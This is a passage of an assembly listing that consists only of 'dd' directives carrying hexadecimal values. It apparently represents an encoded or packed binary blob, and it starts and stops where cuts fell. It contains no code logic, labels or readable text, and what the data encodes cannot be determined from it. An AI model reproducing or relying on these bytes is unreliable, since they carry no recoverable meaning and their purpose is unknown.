0D358A1E2h, 0F7D01A84h, 482052BFh, 0C398C905h, 5BF000C1h dd 9E03102Eh, 428DAB1Ch, 9600219Dh, 0C48C07Ah, 0C4630041h dd 6D62DC2Bh, 9F005A03h, 9BEA3A0Eh, 2A875896h, 2946BA9h dd 0F7DAF093h, 0F8A00592h, 0C6335B39h, 68DF8C28h, 0E16F5014h dd 40CB3AB0h, 4B9706C7h, 0A93F1B9Fh, 6D00B6F4h, 0AFECCB4Ah dd 0EB92B8Dh, 0F173746Ah, 0B15B7060h, 533C2FA0h, 0F813B183h dd 14200AFDh, 6511402Bh, 8C5B7301h, 769DE5FAh, 7FB90024h dd 1BD47F22h, 70F2EB0Eh, 0B512680Fh, 9E8C1D42h, 19B7845h dd 0E48A28E7h, 0A8694DCCh, 3C7CC841h, 258CA90Ch, 0ED10F2h dd 4CFEF3F0h, 163D655Ch, 2CC86850h, 9F549600h, 0B7C10F5Ah dd 0F0580E59h, 87C0608Ch, 0F208B48Ah, 0EB12961h, 9C400C0Dh dd 24E1B0F0h, 5650F7h, 8E3E4AEAh, 1C6031FCh, 9D95EB8h dd 0AAB0C98h, 0EE28F966h, 89D01084h, 0D3221148h, 0FAC5DE08h dd 4586EA10h, 62251E0h, 0C21EE4B5h, 48B19629h, 49E8CE01h dd 1B6AA01h, 0B8D3FBB4h, 0FC8177h, 33F5FF9h, 0EF8C6B42h dd 0C43AEC00h, 85367CDh, 857D3FFAh, 54305007h, 0FF74A348h dd 0D772DAA8h, 84B0F6F6h, 87705B0Fh, 3D6E6025h, 0FA5B792h dd 86062A34h, 81C08200h, 5E0022B0h, 0F47899E1h, 0ADC267h dd 11E8AC1Eh, 24C8CFF9h, 8ABBB10Fh, 898418Bh, 1081CCC9h dd 3FE1105Ah, 7CCEF053h, 34C59B24h, 1A3E82BCh, 405ABC87h dd 6E0CAFh, 5F6C64D9h, 0A5C483C7h, 0B364E03h, 0E830B1EEh dd 0F7C01BFh, 0D6688BA3h, 3E33EA40h, 3500F251h, 412ACFB8h dd 24ACA7EBh, 70A4F4h, 0A333B3C1h, 0C007BAFh, 3DABA571h dd 2A256Eh, 4CD740F2h, 61E46678h, 94699900h, 0F52D3530h dd 58D405CFh, 80D7AE41h, 76DB5DC4h, 18AC633Ch, 2DE889DCh dd 20ED00D9h, 7E64E4BFh, 323C1C33h, 42E3009Fh, 3481D367h dd 9C75001Fh, 417C6F01h, 0FA01B151h, 0ACCB12FBh, 8E04CD5h dd 0F5BA0689h, 5A73B642h, 0C5297607h, 9F70B96Bh, 0F4C77FAh dd 7A9D6CDAh, 8A04A9C0h, 0DC00E03Bh, 77B714DBh, 1D9B1CD6h dd 74D6A64h, 50BDF637h, 57DE4EF2h, 3B612309h, 6A80F524h dd 30B4652Ch, 0E4003873h, 29279794h, 9A80E7FEh, 0BB63000Ch dd 0EC23432Eh, 54005BB3h, 205FE957h, 9660EACh, 3C3EE7A0h dd 8ABED80h, 8D02532Dh, 0B957AA04h, 0FEB16072h, 298C00B8h dd 0E225D0E3h, 18138796h, 680FEF9Ah, 0E0A2607Ah, 0E4F94A89h dd 177F0095h, 0E5EEBC93h, 0AC07C2A3h, 83C6FADBh, 320C3140h dd 0B67AEFh, 571FCD72h, 2A487825h, 8D46C100h, 9755F9Dh dd 21E22828h, 8EF304ECh, 8B3C47B6h, 6DB40034h, 3FB11E3Ah dd 7D340044h, 18D460E5h, 9D0065AFh, 0C4F50B1Fh, 3E83AAD2h dd 2D009BFCh, 91FB2EDAh, 0AD00C794h, 0B9CF405Eh, 770F104h dd 12B415BAh, 662D4131h, 0DCBA31BFh, 1700E2F5h, 56B9EC47h dd 197F60A3h, 7AD568F6h, 137BE869h, 14AE4D05h, 25C0A54Ah dd 9D4583h, 0EFE91235h, 24BCD01Bh, 0C56A8E00h, 4E010463h dd 0E75B07D6h, 0C088B4EDh, 0FC45E967h, 34DD939h, 0E0499250h dd 4B35B9F6h, 7AA71883h, 5CA07F56h, 0DC014087h, 0DA93E334h dd 0FED0455Ah, 8EE100CAh, 3AEB2C03h, 0C70BF6A0h, 9443507h dd 4118143h, 0F3DCE428h, 0E2F0BBh, 0B327E824h, 0B19518C9h dd 3922D300h, 0FAAB1475h, 0BD9E1812h, 7D161262h, 0FC02C400h dd 3DA9680Dh, 0CF651F09h, 990FC0E7h, 114F625Dh, 6D6BD900h dd 0D88A2138h, 0DE5B021Ah, 54B99585h, 519D9481h, 85E8099h dd 17920269h, 0D8CF0096h, 5888B630h, 78005CF9h, 0D04E659Eh dd 79C507h, 3763D2E9h, 5E760FBBh, 5000CEFEh, 0EDF56499h dd 7E142Ch, 1307F2FDh, 0DB17B344h, 0C4436702h, 60D45237h dd 0AA778CFh, 0EE1FC566h, 0DA220BB0h, 0F34807F5h, 970B870Eh dd 0EA9134A1h, 9BC22080h, 1CB0181Bh, 13846301h, 0FCEFBFF4h dd 484EE4h, 99F8A327h, 0CC059AA6h, 3841EC30h, 0F6A88743h dd 837F588Fh, 0B5E20E00h, 0A5C8AC81h, 0D9BEC300h, 0F96C9602h dd 10C761CCh, 0C9E25229h, 60DFC3B1h, 38D3B5FBh, 0FEE87000h dd 0EE13C6ECh, 0FE25739Ah dd 80CF014Ah, 3F3705ADh, 0CD6230BBh, 0E1A52F07h, 0EE80BA56h dd 383BDDD1h, 0F3C3B1h, 0F1A682B7h, 67EA2824h, 924A4B0Eh dd 80108BA0h, 0AEDC0146h, 55D400E1h, 6B321153h, 280016A3h dd 0ABF462DAh, 13C8CE4h, 0B35BAADFh, 0E3337D95h, 7AA1A7B8h dd 1D00FAFAh, 84CCAD09h, 0BABF82h, 5B0788A3h, 6A9EE223h dd 3D87EE00h, 0B202651h, 0ABD6C783h, 0D700DE2Ch, 3C9FB78Eh dd 0F76043Bh, 20CD239Bh, 5D801895h, 0A6B53BF5h, 0A91AA80h dd 7CB12D97h, 0C8BC48h, 0CD8670D3h, 7F61280h, 2A179114h dd 0AAD7F1E1h, 1618E845h, 8CFE5900h, 5E42615h, 1F767117h dd 1E4A2571h, 0B9E740EFh, 0FDC31CA3h, 106BBD03h, 0CF21886Dh dd 0EE01A520h, 7FA61DFCh, 387BC3D4h, 589A8082h, 3C088C40h dd 598B9307h, 9BF0C573h, 0BBDCB9h, 178AD420h, 0DA05FF3Dh dd 0B009F7Dh, 40D2A5CCh, 0BDCB6Fh, 0E5918904h, 2B804259h dd 29EFA400h, 0CC526C13h, 456B03C8h, 0EDE15074h, 0F9180F98h dd 9690FB00h, 98873BA2h, 0B910C0F8h, 1F66A3AFh, 0B39EC300h dd 0A27EBDE8h, 78BA07FFh, 6046F884h, 9261A768h, 874E7C00h dd 0D9CF26Fh, 0A21B0080h, 346D1AF0h, 330070FCh, 7B01D306h dd 1688B8DDh, 2F3E32h, 0D1097F49h, 0F4005092h, 0C304AF3Ah dd 1DB4A41Ch, 445CA6h, 37F75FF5h, 549A98BEh, 0A018010Bh dd 9D078070h, 8CEDAEh, 0F1881CDFh, 1AE45F60h, 54028EA0h dd 9CC8F400h, 515E4163h, 0EC68006Eh, 0EAC28F7Dh, 0D207E169h dd 0A48142C9h, 12D5DEA0h, 1E6C028Ch, 0E0E58682h, 3BF1E5C0h dd 0F096573Bh, 3FF08900h, 0FDBDA7D7h, 657024F5h, 92F302A5h dd 0F069802Dh, 244671C8h, 0D90499F0h, 41DE60DAh, 4101CC0h dd 32C439F6h, 6F34BB80h, 98FA025h, 0FE71620Fh, 156C203Ah dd 26F18B84h, 38ACA3CFh, 3983DD80h, 37EF4EE5h, 0F3FAB600h dd 630F523Bh, 28690059h, 0B90A1953h, 0B00B106h, 727C1FFEh dd 1FC2EEE5h, 8030A7A5h, 1EB23F6Eh, 0D7078539h, 0B3BE213Bh dd 0C6EA6B22h, 0E17248h, 5C0E20D0h, 6BAFB3C3h, 223F300h dd 9F018606h, 0E3C90EABh, 1EA0D3EAh, 0D5121E8h, 0AE4BA00h dd 0DECE4718h, 0BF570043h, 0C660BC56h, 10076DD1h, 3C061F59h dd 123D5C60h, 66D70095h, 0C4467211h, 23070242h, 0B455B13Ah dd 0D24750A1h, 0F2CAEE20h, 4A9103D5h, 770ED934h, 5F75E2D0h dd 0A84E4F24h, 91E004BCh, 6CC065B9h, 902A3450h, 4CCB0080h dd 0B3C8C33Ah, 4202E43Fh, 0F6FE3BF2h, 71DCC897h, 30950058h dd 0B3A219DBh, 54E8B0F0h, 1F0C9958h, 0AE8056DCh, 877E3FC8h dd 0E532038Dh, 0E9F57A08h, 0AB9154B0h, 3F260F1Eh, 0CD880B40h dd 1075F92h, 71E70204h, 0D0968EB8h, 3B00D486h, 237A466Ch dd 0AEC1EBh, 0C24CA695h, 222DC8C6h, 480098E2h, 2B92E7F2h dd 130CDEA0h, 38CB53Ch, 420F12B8h, 686ACC0h, 0A84FF900h dd 601891DDh, 723090C0h, 489F7567h, 0A700F980h, 0B7FD7095h dd 29006610h, 0D61CCF8Dh, 82D9E1h, 0D5037C48h, 64F73623h dd 30DD7500h, 0E57F3FCAh, 0BB1B0005h, 60F9764Dh, 0BE009842h dd 95ECC5D7h, 74AF08Ch, 0B5725D43h, 0EF2952C8h, 5B3268C8h dd 8028033Ah, 279F67A3h, 3C79026Ch, 4CF08F61h, 0A812DAD5h dd 8700FBFFh, 5204D95Dh, 7997901Ch, 0F842072Ah, 10C651AAh dd 0F62E98C7h, 5DF26C98h, 0EC55AD2Ah, 0AC003D71h, 578AA72h dd 4813D4h, 38BAECA7h, 278DB6CAh, 6BD2DA03h, 0A07BA163h dd 5B3D59h, 61EA2E5Fh, 6EC14D9Ah, 2BBC300h, 0E98FDBF4h dd 0C012013Fh, 0B29BFF13h, 0F040F288h, 0FA004765h, 11390AB6h dd 7B2D8D43h, 0FFFC004Ch, 66F24B3Bh, 44902E17h, 24D33100h dd 62BE9EBh, 0CF380F33h, 0C3409C2Fh, 0DB5EA73h, 0B44B8C1Eh dd 5686EE43h, 0A480A526h, 12C253E6h, 0F7C38C8h, 85C0225Ch dd 4E6DCA0Ah, 0A793F200h, 0C3E1ECD9h, 0BC48C43Eh, 0D3508Dh dd 172B6A26h, 2666D11h, 797F28ADh, 0EC8046A8h, 0D76A1074h dd 999B132Eh, 26858801h, 0AC997FDh, 0CFF120h, 0A2309FDDh dd 0DE66253h, 0F0B19E18h, 719060h, 0C13C280Ah, 37D1E017h dd 0F259563Ah, 0F6D50900h, 0DA1486CAh, 0DE0C002Fh, 85904930h dd 0CE00A08Bh, 4C04BE33h, 0DFEE2Ch, 0A281AC19h, 0DED19332h dd 2AE8848h, 69F0FDA8h, 65286033h, 1048048Dh, 9053D54Ah dd 6FB208F0h, 84E85E00h, 0B524A003h, 449024Eh, 0D6D11AB8h dd 94545C60h, 3B5C3100h, 6C2E01BBh, 13A4002Fh, 0C5807AB4h dd 0BC00DCD8h, 0E5123C39h, 73E9367h, 6408F258h, 0C00235D0h dd 0CA8548BCh, 4DFB1100h, 9A1C0EE8h, 0DD7E69h, 0BA758AA5h dd 0F32C3DCh, 5DAA4902h, 0CA9F39C0h, 6B16C100h, 7A43F8h dd 92530E01h, 51E15676h, 86BBB701h, 642DD022h, 0A4BF4880h dd 0ADA63963h, 88695480h, 800ACD1h, 48BB7059h, 125626h dd 0A8DA4EF9h, 0BED8C8A1h, 5400C098h, 0BB9EB35Ah, 9C2C6Ah dd 874D4746h, 5CC7EE60h, 30D8D600h, 3736D482h, 4E730048h dd 0E0C8B68h, 434BEE51h, 28AD5C0Ch, 12EC3Ch, 70C1A5FBh dd 89F355BAh, 7B877400h, 9CED5A92h, 3B9600E3h, 13969DAh dd 0A200F20Dh, 88044B93h, 276A0B3h, 0B9FF318Ah, 2040E3C0h dd 0F8094471h, 80494DDFh, 34D5E4B0h, 0B827079Dh, 8129385Fh dd 0EC741076h, 0A300CA08h, 9865C93Bh, 39FBE4D6h, 67023616h dd 7C2C8EDEh, 8835F640h, 87A50900h, 0CF0B2752h, 0FD280279h dd 965C2CC7h, 0CBB880E8h, 29B7AE00h, 108BBD59h, 87C10172h dd 95B9137Ah, 25EDF89Bh, 0DAFCC750h, 570C4001h, 6A55AA9Eh dd 5EF08C61h, 80A503C1h, 260395A3h, 88D3FE88h, 0D8BA1D00h dd 0E094608Ch, 2585184Eh, 43D648CDh, 5162470Eh, 0E025E5Bh dd 0C0DC1DDDh, 0A6F171h, 7504F2F9h, 4F7133B3h, 6338E97Bh dd 27149284h, 0DF917800h, 0C075E890h, 0D672FD40h, 60029DB0h dd 91C3703Ah, 8D204065h, 219EC96h, 399484CAh, 7B4272E3h dd 0BFB1ABC0h, 0DBAD0B0Eh, 7DD0C4C3h, 41242C80h, 58420028h dd 0A5FAEAB7h, 0E10751FEh, 57166BBDh, 2EF6CD70h, 0FB62008Dh dd 0B45F4B3Ch, 35582A0Fh, 0D4231F84h, 888FF8DEh, 0F619A060h dd 0DF472h, 0F6A32E0h, 0E892AAF1h, 0C010FC01h, 9ED5B5B8h dd 8AF0C883h, 0ED8BE2Dh, 15076429h, 3C4A8CAh, 22447570h dd 0BA9C00BCh, 0E678CB71h, 680018E0h, 12D7C86Ah, 77A226Ch dd 0CF90F663h, 431EA077h, 1C39C1E9h, 0ACD48002h, 0A5C44C36h dd 831A02BAh, 3308F927h, 766D55C0h, 2193Ah, 0CA4575F2h dd 0F4C9AD26h, 1C35002Fh, 0EF80A029h, 0A6094C24h, 4BAEA165h dd 0A306D3B8h, 553807F1h, 2EF46191h, 48809DCFh, 0B4A8F070h dd 53661B00h, 4ADF448Ah, 681501E7h, 61657838h, 86B870C5h dd 5BC11200h, 10AD5FDEh, 7570C256h, 0EC807F8Fh, 6EAFDFA0h dd 0FB1A3324h, 89015C2Ch, 1465FFC1h, 5B7AEC50h, 0C9D4240Eh dd 50A400D0h, 0DF5EFA45h, 0BD85CB07h, 414F242Fh, 8DACF46Dh dd 0A51CBC40h, 4F68002Ah, 0BA760F33h, 980018EBh, 66B31347h dd 9AE870BFh, 77A300B4h, 71C1ECAAh, 150098F5h, 33D874Fh dd 3DD9D50Fh, 7E00CF3Ah, 58692984h, 0C4009EC7h, 62639DAEh dd 2B74A9h, 34E3CBECh, 47A4B3A6h, 5118B700h, 0D0EE9221h dd 463A07D3h, 70814F55h, 67875E8Bh, 1A3FF300h, 440BC814h dd 99410072h, 550324EEh, 0D7E2F81h, 16A63500h, 3B175D53h dd 127E8Ah, 198CFC1Ah dd 506D7997h, 242A7E00h, 105FB373h, 7C3D0111h, 6B9FDC29h dd 70BC20F7h, 12D4C48h, 0D17B6D33h, 0F5F8169Dh, 19130058h dd 0AA1B9CDEh, 0D3D04F3h, 0C823805Ch, 0D8CCC655h, 40180039h dd 32567211h, 0CE00CBDBh, 3D068208h, 34DF74h, 36691D01h dd 9CD35DCCh, 0D955CE00h, 188C7344h, 0C3FF027Eh, 67BF1F4Eh dd 1DD4ED40h, 46F9391Dh, 1089E980h, 9E7D34h, 3E7EBD6Bh dd 0CA3DF8AFh, 78B97039h, 6F9C3Bh, 42DC658Dh, 3BCB8B0h dd 15DF1133h, 6EBBF11Fh, 8CC57AD0h, 47148D00h, 48B41EBFh dd 1FAD17C6h, 0D436E0E2h, 8E192A00h, 22B53011h, 0E5711EB0h dd 0B7023D8Dh, 0D0E18468h, 0E30C8A80h, 640099A9h, 0D20D8C60h dd 6D3A97h, 4C2A2CC8h, 8DF9EB16h, 7B7DCA00h, 3A3B76E0h dd 510A0E0Ch, 524FD1D2h, 8944CD20h, 0EB00FEFFh, 9E2CBB2Ah dd 1DFADC31h, 40D1DD08h, 0C26582CBh, 3B0046C5h, 76BDFFBAh dd 8FB82Ah, 0F771C9D1h, 4F915BE6h, 0FFFEB200h, 0AEBC7841h dd 6676ABh, 726EBDFBh, 6C1036F2h, 0BB03B6F6h, 0F4D943DDh dd 0AB04EB87h, 7375A0B1h, 0E9973A59h, 0CC005EDCh, 93AACF33h dd 6D00D6F1h, 245BD946h, 12811277h, 8A0E6Eh, 29426A28h dd 0BB07FEDFh, 0E1673F85h, 1FFCA210h, 0F1AD0061h, 36BFCC66h dd 0A8004243h, 514A742Bh, 0CF14B3h, 5BEC4CB8h, 0D3493A7Ch dd 1E53103Ah, 0B741F5F7h, 561A7FCFh, 605E76E0h, 49521015h dd 0B93D32F4h, 841474CCh, 0BB773Ah, 11D29661h, 0DB0ED88h dd 0AC7E8E8Ah, 6F4DF011h, 0DED4CB00h, 0C9B75B72h, 10F40033h dd 95F16EDAh, 0BB009AC7h, 0ACA9824Ah, 0AE692F9h, 0E9DD6557h dd 4FA83F18h, 0BF40005Ch, 0F89AD1BBh, 43263CBAh, 93006377h dd 9D6D519Ch, 65840191h, 0A3E38197h, 0DDAFC0CFh, 0FEBD2002h dd 60412967h, 3BD4058Eh, 1B8944E3h, 5980AFC6h, 646EAEF1h dd 0B183100h, 8D59E84h, 0E30200D0h, 0F686DC0Ah, 4E77C06Bh dd 140B7801h, 59046E3Ch, 1C33E5ECh, 1CA4E64Ch, 0A8203AAh dd 86005397h, 0B85B4DC9h, 54198Ah, 378B4E3Ah, 1D17DF62h dd 0F900D378h, 94671A61h, 9C3072h, 0D0BA4BDBh, 0F4FB5C3Dh dd 8011C738h, 0AF7F6382h, 557B03Ah, 0E6205121h, 948C1062h dd 1DD0FF13h, 5CFC4355h, 10F8228Ch, 0FE3B1757h, 480BA14h dd 0C0E345CEh, 0E865E7A0h, 0F0CF0366h, 0F5D060D9h, 9711C0B4h dd 680C2840h, 60E96371h, 5D8F0361h, 9DD901CBh, 0D238C4F0h dd 3DBEF901h, 67D3DF35h, 4265C040h, 28CC629Ah, 0EF222DF1h dd 639F22BCh, 24E9AB22h, 0B20921F5h, 11843B11h, 79882B22h dd 97882A69h, 622788A1h, 9EC08B88h, 5300E02Dh, 69125F3Ah dd 18C163h, 357A40B6h, 0F6EB9329h, 0D003C91Dh, 0AF01A85Eh dd 0D6C983Bh, 0D342ECh, 4271E87h, 0BD38D699h, 12F15904h dd 6CC0ECE6h, 9C0814h, 0B9F8EB42h, 86FD6C66h, 5300A8F8h dd 755F51CFh, 399BFAA0h, 3B87DA1Fh, 3EB8F629h, 8EEE1E00h dd 861E07C0h, 0D5C067B6h, 59B197BDh, 60D703E8h, 0DA7E93E0h dd 0F476BCA8h, 1E1D047Ch, 5003A5Eh, 2C6A0A5Fh, 9FF200AAh dd 74CD67EAh, 201A3C2h, 0B7E9F8E6h, 0E56068A2h, 83E264h dd 75DB5A4h, 2A75D213h, 5B29A00Ah, 5A03ECC5h, 7F1EDBh dd 76F5D4C0h, 3A4566FEh, 951D097Ah, 564059DFh, 8A7394B4h dd 706739B8h, 97779D00h, 49769AACh, 0D923700h, 38E2FF8Dh dd 0DB4800EAh, 3C9D4DE8h, 7F00FB53h, 944CFAF8h, 1EACB6h dd 0BB4ABFC9h, 0AE22BC73h, 49005F7Ah, 0E3556542h, 9DB1E5h dd 722F36CDh, 0ABF4C0C1h, 953EBC1Dh, 9F813B00h, 2C87C3h dd 842D2BCBh, 0E6E77241h, 0D4E14700h, 0B66CF3FBh, 344F00CDh dd 83F5363Fh, 3904B382h, 0FAB45D1Fh, 0C8188C80h, 0A18B00A2h dd 0CB7AA690h, 25067293h, 0F52391D9h, 0DCC20011h, 427B8A3Eh dd 0C100246Ch, 0ACE37D47h, 1D864999h, 807C9Bh, 6F848981h dd 526063B8h, 2786478h, 0C06200E8h, 0AC359288h, 1E7FA532h dd 0CEB7B107h, 0C2C06896h, 0C6655BAh, 8CC49915h, 0AC002298h dd 0E79C625Ch, 0F8FBECh, 0DC253D34h, 0B61CF7FDh, 4003B74h dd 0A96D9F41h, 0F48FA0h, 99A5BA0Fh, 0A25C528Eh, 1A9BD600h dd 24E2B380h, 768D00C9h, 2633FA84h, 0A40016A0h, 8B7FB018h dd 987D4h, 95B20FBFh, 0AC9D8937h, 0C938FD00h, 967D76D0h dd 6D4F1F02h, 0F34B8023h, 0BC844E56h, 0B36C2100h, 0E5F4F85Bh dd 0F9AD0098h, 0D5A746A8h, 2700CBFEh, 0F0C483D4h, 3F956257h dd 4203EB65h, 0DA4D70A6h, 8EF180ECh, 0AB007309h, 8CDB6A5Eh dd 77980BFh, 171A5942h, 71C380D2h, 0C81F4BD7h, 0D88018E2h dd 457374A6h, 5CC000Bh, 7DA3C54Ah, 8F39D91Ch, 0ED4B0582h dd 0E4475922h, 95E70E89h, 7969C790h, 5F19C0A1h, 75990538h dd 7D14139h, 159EDF47h, 6F7EE7F0h, 0F786017Ah, 6AB23F32h dd 0E2E85803h, 0D8FB0228h, 371A9E0Fh, 1CBB801Dh, 16E6455h dd 0EA123239h, 0F0D9DEB7h, 6A3051D8h, 7BAF3088h, 5D0D009Bh dd 0F275B5A2h, 74072284h, 14DF5309h, 206CC7DFh, 0AC3F5540h dd 4FF005Bh, 39F6802Eh, 9206F8FEh, 70FD65CEh, 51F90050h dd 0E03CB927h, 8100B160h, 0AFAAA7EEh, 3B73A58Dh, 0A28F4595h dd 0C4A09DD8h, 0F3802A26h, 0DB75D718h, 0BCD6306h, 98867B59h dd 3A44C480h, 0DC1FFC27h, 0B9C0F05Bh, 0D4F85B2h, 37E4011Eh dd 0F1301C6Fh, 0D01B6127h, 31002D02h, 4B8CFD1Ah, 32B817h dd 6C3F3714h, 44882C63h, 55825300h, 0CD0CD949h, 5A750025h dd 0D5A1D328h, 7200A762h, 107B5664h, 5D9646h, 0F234A4ACh dd 42F6DBBAh, 1BEF4A07h, 9544932Fh, 9D491080h, 0E6905A6h dd 33E4B2h, 0DB966CF0h, 0D407585Fh, 0E9EF0602h, 41B72132h dd 0CAF835A4h, 0ACD50011h, 68FCB6EDh, 1E070C97h, 42DF82B5h dd 3B9E4A80h, 0E84B5830h, 7C4F0376h, 0D767E9B4h, 9FFD11F0h dd 5A7E9600h, 30022FB6h, 66950087h, 1C683C28h, 0FF00A1E3h dd 8B330D93h, 341E5h, 99F7FBE7h, 205EE895h, 0E1E3BC05h dd 920007E0h, 0FA8E776h, 0CFE39B1h, 0EF6F7h, 8EFD8135h dd 137114B5h, 5BF63Ah, 0FCB28207h, 8D4BCh, 3FC76E76h, 0A36DEE54h dd 4DF08A00h, 82D7B1FBh, 0EAD0073h, 753F6F94h, 4300ECBCh dd 5A991149h, 3848D8CDh, 67001480h, 197708D9h, 0B8C09C8Bh dd 0BFD18C3Fh, 893200CCh, 28FDF7CFh, 6960D62Ah, 31541B20h dd 0A69700C7h, 0EB3CB04Bh, 0C12F670h, 1800F5D1h, 10F8CCC4h dd 43E00020h, 4AAB9346h, 0CB009CD8h, 0AAD287F3h, 418C98h dd 712076CCh, 6B1A9D0Eh, 441CBC30h, 2029548h, 0EB5CD329h dd 0DF403AC0h, 0BF02DD67h, 161D26Eh, 310440F9h, 71A900E8h dd 5E4915D9h, 0F200EC10h, 0CF340611h, 217D02h, 4CBE62Dh dd 55480F69h, 0CD5B4C00h, 0F6CC1BC6h, 779F0B4Eh, 380AAB7h dd 677C8F34h, 9AA1CCF1h, 6068C000h, 99FA22E1h, 1797A046h dd 7E8EEA4h, 827809ACh, 0E85AB44Fh, 57D40FE8h, 0EF011F76h dd 0A0CCCB94h, 9219DF4h, 0D804F2E0h, 0DD965000h, 0C0E1AB2h dd 8B4ECA92h, 4D2D0056h, 1F89D7DEh, 435D78C1h, 0F36C3168h dd 3A966E98h, 48579800h, 0D97AC1AEh, 0DA3B3AE7h, 0E3ED5105h dd 0B29F802Ch, 6D00139Fh, 2BA18E92h, 1E45077Bh, 5DACC9h dd 788AE024h, 0B73C69E6h, 4739005Fh, 0B915893Ah, 78DC4CC1h dd 951F6C05h, 6BF84086h, 0C502404Ah, 9809E0E8h, 20ACBA0Bh dd 99CF2900h dd 1E921465h, 0D600C881h, 87A7B570h, 7F7388C5h, 46B9D504h dd 84D0AEA0h, 1428A32h, 38857BB0h, 609E9522h, 18C957FBh dd 412F80CAh, 20162Ch, 0EF26DAC0h, 0D17FEAB3h, 6E7CD900h dd 0E41119D4h, 509A0073h, 0E944F855h, 8B1E5A58h, 78CF53EFh dd 0C42140C6h, 382311h, 3D48ABDCh, 2BF51998h, 0D9694700h dd 0EEC36FBDh, 0F4D6009Bh, 8A544E62h, 2258CC80h, 6FB3008Ch dd 49680565h, 0A6550075h, 0BC4F2C42h, 6202FD4Ah, 86F004AFh dd 0ABFC40AAh, 0F80090CEh, 44DF002Ch, 850CCC61h, 15FC48BDh dd 3663C500h, 0CF5F874Fh, 0FC400089h, 88587295h, 9100226Dh dd 7C503652h, 9467415h, 4A036C20h, 401B94A0h, 48007929h dd 0E8148597h, 1958449h, 0D5078276h, 0F89BF6C7h, 8000B7A3h dd 12CA8355h, 3C1AAA5Bh, 7D0234BAh, 71FE69A4h, 52A9D480h dd 0ED766C86h, 9F2C0DE6h, 0E583A4E1h, 8896D1F0h, 0EE4E0AA6h dd 0D2530019h, 0D65EE631h, 1B0BEDC5h, 95D39Dh, 26F78948h dd 57620390h, 0F1C721ACh, 700864B9h, 35007B97h, 0BE13442Bh dd 0B3C2A78h, 0AA58ECA6h, 9A016400h, 0BA00F1AFh, 0D1785EE0h dd 4854692Bh, 600010BEh, 0DB06AA2Dh, 46007790h, 0C5FDFEACh dd 12B4383h, 0C9673F78h, 0C44F2FD5h, 27001855h, 0EE37F0CFh dd 12B228E9h, 388203h, 862D35FFh, 6C00686Eh, 0D13015B8h dd 0E8729069h, 50027546h, 8DFC0A2h, 4979B448h, 8086C30Bh dd 0A32B6117h, 85C202E9h, 2DD545DAh, 0A0B46CC8h, 30FC700h dd 6371DB58h, 7ED00F05h, 1BEE0747h, 0F32250A0h, 2B74FA5Fh dd 69C0CB54h, 8D434800h, 0BAA6FDBFh, 0EF51131Ah, 91CB0C5Ch dd 0B33D46DEh, 6300F672h, 949FF11Eh, 42C596h, 7B994B87h dd 0D7B2537Ah, 9D07E400h, 5B9E8E22h, 2FC1003Ah, 16A65488h dd 0C513EDB3h, 8302E21Dh, 0C05B4A3Fh, 7924B4h, 599A9285h dd 19CC8706h, 0B7534109h, 0AFC501AEh, 7CCDED9Fh, 4A600831h dd 91091E2h, 7880D6A1h, 253D0EC2h, 0B383AD14h, 7A5000A7h dd 1FB0F2F9h, 0CFC1Bh, 0BDF6FCFAh, 4D9EA1A8h, 5CFFE700h dd 8B103A4h, 0C8720046h, 0CE37B9CCh, 0F37C0B28h, 0ECCDAD09h dd 1420022h, 0B35530h, 1F659AD4h, 0B04DBDE9h, 3820A300h dd 0CC847A08h, 0B7540011h, 13922AFFh, 630098B3h, 0C057A6B1h dd 7FEBA3Ch, 28613AF0h, 0B50B9B8Bh, 2560AE0Eh, 0B8F84FD4h dd 7452D200h, 385EA70h, 0A5BF0051h, 68F98984h, 50748CF1h dd 48131A00h, 0D7B49A47h, 71AE24BAh, 0C17E017Bh, 0E8EC8BE1h dd 0F7009324h, 0B48FF2B7h, 0F0AA8Ah, 0CA3C23Dh, 1864E754h dd 8040EB00h, 0E8E30F7Bh, 0EE7895h, 4584F008h, 0AC19607Eh dd 1C709400h, 0B0E13613h, 0C38672BDh, 4274A328h, 0C0E7BBD9h dd 781E4A9Ah, 0F100C775h, 24A56F60h, 0B5B0FAh, 0C3D1BE1Bh dd 70D8EB16h, 0A37A4701h, 3236D471h, 2F3542F0h, 0BC765EA7h dd 9838A83Bh, 9F000D7Fh, 1FFE2FD3h, 0C0C24771h, 52626478h dd 12073BC1h, 0CC5D10E0h, 0CBBBA0B0h, 9378031Eh, 636A7C29h dd 0E02374D0h, 0EBE18800h, 6F790204h, 4E333E95h, 0C028969Dh dd 7036826Ch, 0E4A0DD0Eh, 4F600FEEh, 3B6D6A68h, 0C01FEE2Bh dd 0FC575DC8h, 3505AD56h, 63E42205h, 0AE8DE830h, 0B9E8FAh dd 845F8EE6h, 436BAF9Bh, 2D5B5800h, 0B7142C0Ah, 367C00E1h dd 22478634h, 25907613h, 7A5D9600h, 0D4AB1E62h, 0EB3600BAh dd 590CBDBCh, 220329E1h, 0A030DC2Ch, 0B14C8087h, 53780705h dd 403BB7ADh, 12BAF423h, 0F07EE200h, 909683A9h, 97BF39D8h dd 0FB883300h, 0CF2C5BC4h, 67AAB10Eh, 0C5C62038h, 17B7B0h dd 0AFADE003h, 0B4A1DE08h, 697B8B00h, 5E0241CFh, 3D3CF6C1h dd 0B90085E5h, 0A25C47B8h, 5B131EB5h, 0B60E097Ah, 8B7560F1h dd 87E54Ch, 5A9AF6B1h, 3A854A19h, 0DDE42676h, 8F830200h dd 1A8A2F57h, 863100D8h, 0DA0C80A7h, 419887EEh, 13F4E8E1h dd 0BCF05B00h, 0D92BB48h, 61D90023h, 65E025BAh, 0F81F41B1h dd 0DC80DE66h, 53CAFAA9h, 1C3800C4h, 0F31EAD73h, 9D7AC90Fh dd 0B0EC7B8h, 0AE553A31h, 2594E391h, 80B80088h, 51DD5F63h dd 8C013B8Ah, 1E1D6226h, 60F436BFh, 0A09C04F7h, 0EF7C03DEh dd 5C048C80h, 0B3E4B5h, 0A114CF37h, 9C1DD467h, 0DA93E400h dd 6C6DB42Eh, 35440113h, 0BFC157A3h, 532730CEh, 0B8D6700h dd 90345143h, 3620D43Fh, 0D4041807h, 172CB04Dh, 0CB005BEFh dd 59274F4Eh, 0D1EDDBh, 0E5D454DCh, 8EBA198Ah, 0CA24E475h dd 3A001008h, 694C4371h, 8BEB0121h, 0A6EC3B7Ah, 0A45C81F6h dd 2A28F5CEh, 0FAF7ECh, 21AB23E7h, 0CC883207h, 471DDDFAh dd 803AFBFCh, 0B7D90B03h, 0CE9156h, 18C6A789h, 2464B468h dd 827EF20Bh, 6E6280A6h, 8B671h, 3E410A8Eh, 8C279D64h dd 98234724h, 66F00118h, 0E11A39C9h, 4E70DF80h, 